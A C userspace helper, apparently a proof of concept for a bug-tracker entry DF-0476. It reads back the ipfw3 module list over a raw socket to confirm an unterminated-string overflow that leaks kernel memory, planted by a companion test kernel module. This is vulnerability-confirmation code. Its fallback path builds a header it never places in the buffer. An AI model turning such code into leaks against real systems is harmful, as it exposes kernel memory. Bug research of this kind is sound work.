/*
 * DF-0476 userspace helper - reads back the IP_FW_MODULE list to observe
 * the overflowed name from the df0476_mod KLD module.
 *
 * After kldload ipfw3 + df0476_mod, the fw3_modules[] slot for module 7
 * has name[] = "AAAAAAAAAAAAAAAAAAAA" (20 bytes) + 20 bytes of overflow
 * into the adjacent slot's type/id fields, with NO NUL terminator. When
 * ip_fw3_ctl_get_modules does strcat(module_str, mod->name), it reads
 * past name[19] until it finds a zero byte -- leaking the overflowed
 * bytes (and possibly adjacent kernel memory) into the returned string.
 *
 * Build:  cc -o df0476_read df0476_read.c
 * Run:    ./df0476_read
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>

#define IP_FW_X       49
#define IP_FW_MODULE  67

struct ip_fw_x_header {
    uint16_t opcode;
    uint16_t _pad;
} __attribute__((packed));

int main(void) {
    int s, rc;
    struct ip_fw_x_header hdr;
    /* getsockopt buffer; kernel writes the module name string here */
    char buf[2048];
    socklen_t optlen;

    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) { perror("socket RAW"); return 2; }

    /* IP_FW_MODULE is a GET -- use getsockopt with level IPPROTO_IP */
    memset(buf, 0, sizeof(buf));
    optlen = sizeof(buf);
    rc = getsockopt(s, IPPROTO_IP, IP_FW_MODULE, buf, &optlen);
    if (rc < 0) {
        /* fall back to the IP_FW_X wrapper */
        hdr.opcode = IP_FW_MODULE;
        hdr._pad = 0;
        memset(buf + sizeof(hdr), 0, sizeof(buf) - sizeof(hdr));
        optlen = sizeof(buf);
        /* setsockopt with IP_FW_X GET... actually IP_FW_X uses setsockopt for
           both get/set via the x_header. Use setsockopt. */
        rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, sizeof(buf));
        if (rc < 0) {
            fprintf(stderr, "getsockopt IP_FW_MODULE: %s\n", strerror(errno));
            return 2;
        }
        optlen = sizeof(buf);
    }

    /* Dump the raw bytes returned so we can see the overflowed name */
    printf("[+] IP_FW_MODULE returned %u bytes\n", (unsigned)optlen);
    printf("[+] module list: '%s'\n", buf);
    printf("[+] hex dump of first 64 bytes:\n");
    {
        unsigned i, j;
        for (i = 0; i < 64 && i < optlen; i += 16) {
            printf("    %04x: ", i);
            for (j = 0; j < 16 && i+j < optlen; j++)
                printf("%02x ", (unsigned char)buf[i+j]);
            printf(" | ");
            for (j = 0; j < 16 && i+j < optlen; j++) {
                unsigned char c = buf[i+j];
                putchar((c >= 32 && c < 127) ? c : '.');
            }
            printf("\n");
        }
    }
    /* Count how many 'A's appear -- if > 20, the overflow is visible */
    {
        int acount = 0;
        unsigned i;
        for (i = 0; i < optlen; i++) {
            if (buf[i] == 'A') acount++;
            else if (buf[i] == 0) break;
        }
        printf("[+] counted %d 'A' bytes before first NUL\n", acount);
        if (acount > 20) {
            printf("[+] BUG CONFIRMED: name field leaked %d bytes past the 20-char boundary\n",
                   acount - 20);
        } else if (acount == 20) {
            printf("[*] exactly 20 A's - overflow may have been truncated by adjacent NUL\n");
        }
    }
    close(s);
    return 0;
}
